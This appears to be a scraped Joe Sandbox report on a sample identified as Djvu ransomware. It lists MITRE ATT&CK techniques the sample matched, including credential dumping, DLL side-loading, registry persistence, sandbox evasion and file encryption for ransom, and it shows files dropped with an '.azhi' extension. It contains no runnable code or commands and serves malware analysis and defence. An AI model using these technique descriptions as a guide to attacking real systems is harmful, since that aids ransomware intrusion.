Snapshot File: hcaresult_5_2_4340000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 7b16bfce2dc0268701dbe6176415e94e3ea45bb53c584759958680ef957173fb
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 01010936000109BBDF12AF56CD00E9A3BA6AF48758F15802AFA1865161D732F571DFA1

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report n41dQbiw1Y.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Djvu

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.azhi (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old.azhi (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json.azhi (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log.azhi (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old.azhi (copy)

Windows Analysis Report
n41dQbiw1Y.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre